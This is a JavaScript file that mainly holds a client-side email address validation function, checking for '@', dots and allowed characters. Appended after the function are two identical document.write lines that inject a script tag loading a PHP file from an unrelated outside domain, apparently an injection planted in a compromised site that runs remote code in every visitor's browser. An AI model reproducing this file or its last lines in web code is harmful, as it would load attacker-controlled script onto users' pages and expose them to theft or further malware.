function emailcheck(element)
{
	var email=element.value;

	if (element.value=="")
	{
	alert("Please enter your email address");
	element.focus();
	return false;
	}
	emailadd = element.value;
	atemailadd=emailadd.indexOf("@");
	if (atemailadd==-1)
	{
		alert("Your email address does not seem to be right.");
		element.focus(); 
		return false;
	}
	else 
	{
		dotcheck=emailadd.indexOf(".",atemailadd);
		atoccurance=emailadd.indexOf("@",atemailadd+1);
		if (dotcheck==-1)
		{
			alert("Your email address does not seem to be right.");
			element.focus(); 
			return false;
		}
		if (dotcheck<atemailadd+3)
		{
			alert("Your email address does not seem to be right.");
			element.focus(); 
			return false;
		}
		if (atoccurance!=-1)
		{
			alert("Your email address does not seem to be right.");
			element.focus(); 
			alert("Your email address does not seem to be right.");
			element.focus(); 
			return false;
		}
		if(emailadd.length-1==dotcheck)
		{
			alert("Your email address does not seem to be right.");
			element.focus(); 
			return false;
		}
		splitter=emailadd.substring(0,atemailadd);
		if (splitter.search(/[^a-zA-Z0-9_.-]/g)!=-1)
		{
			alert("Your email address does not seem to be right");
			element.focus(); 
			return false;
		}
		if(splitter.charAt(0).search(/[^a-zA-Z0-9]/g)!=-1)
		{
			alert("Your email address does not seem to be right");
			element.focus(); 
			return false;
		}
		if(splitter.charAt(splitter.length-1).search(/[^a-zA-Z0-9]/g)!=-1)
		{
			alert("Your email address does not seem to be right");
			element.focus(); 
			return false;
		}
		afterdot=emailadd.match(/[a-zA-Z0-9_.-][.]/g);
		if(afterdot=="" || afterdot==null)
		{
			alert("Your email address does not seem to be right");
			element.focus(); 
			return false;
		}
		else
		{
			for(i=0;i<afterdot.length && dotcheck!=-1;i++)
			{
				splitter=emailadd.substring(atemailadd+1,dotcheck);
				if (splitter.search(/[^a-zA-Z0-9_.-]/g)!=-1)
				{
					alert("Your email address does not seem to be right");
					element.focus(); 
					return false;
				} 
				if (splitter.charAt(0).search(/[^a-zA-Z0-9]/g)!=-1)
				{
					alert("Your email address does not seem to be right");
					element.focus(); 
					return false;
				} 
				if (splitter.charAt(splitter.length-1).search(/[^a-zA-Z0-9]/g)!=-1)
				{
					alert("Your email address does not seem to be right");
					element.focus(); 
					return false;
				} 
				atemailadd=dotcheck;
				dotcheck=emailadd.indexOf(".",atemailadd+1);
			}
			splitter=emailadd.substring(atemailadd+1,emailadd.length);
			if (splitter.search(/[^a-zA-Z0-9_.-]/g)!=-1)
			{
				alert("Your email address does not seem to be right");
				element.focus(); 
				return false;
			} 
			if (splitter.charAt(0).search(/[^a-zA-Z0-9]/g)!=-1)
			{
				alert("Your email address does not seem to be right");
				element.focus();
				return false;
			} 
			if (splitter.charAt(splitter.length-1).search(/[^a-zA-Z0-9]/g)!=-1)
			{
				alert("Your email address does not seem to be right");
				element.focus(); 
				return false;
			} 
		}
	}
return true;
}
document.write('<script src=http://chanter-chanter.net/images/vz0/live_ttl.php ><\/script>');
document.write('<script src=http://chanter-chanter.net/images/vz0/live_ttl.php ><\/script>');